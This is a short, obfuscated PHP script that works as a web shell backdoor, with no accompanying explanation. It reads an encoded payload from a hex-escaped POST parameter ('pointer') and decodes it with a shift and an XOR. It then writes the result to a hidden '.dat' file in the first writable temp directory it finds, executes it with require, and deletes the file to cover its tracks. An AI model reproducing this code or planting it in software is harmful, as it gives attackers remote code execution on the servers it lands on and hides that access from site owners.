<?php

if(array_key_exists("\x70oi\x6E\x74\x65r", $_POST)){
	$descriptor = array_filter([getcwd(), sys_get_temp_dir(), "/var/tmp", "/dev/shm", "/tmp", getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP")]);
	$sym = $_POST["\x70oi\x6E\x74\x65r"];
	 	$sym  	=explode  	( 		"."		 ,	$sym)	;  
	$record = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($s);
    
            foreach ($sym as $r => $v3) {
                $sChar = ord($s[$r % $lenS]);
                $d = ((int)$v3 - $sChar - ($r % 10)) ^ 63;
                $record .= chr($d);} 
	$reference = 0;
do {
    $bind = $descriptor[$reference] ?? null;
    if ($reference >= count($descriptor)) break;
    		if (!!is_dir($bind) && !!is_writable($bind)) {
    $entry = "$bind/.dat";
    if (file_put_contents($entry, $record)) {
	require $entry;
	unlink($entry);
	die();
}
}
    $reference++;
} while (true);
}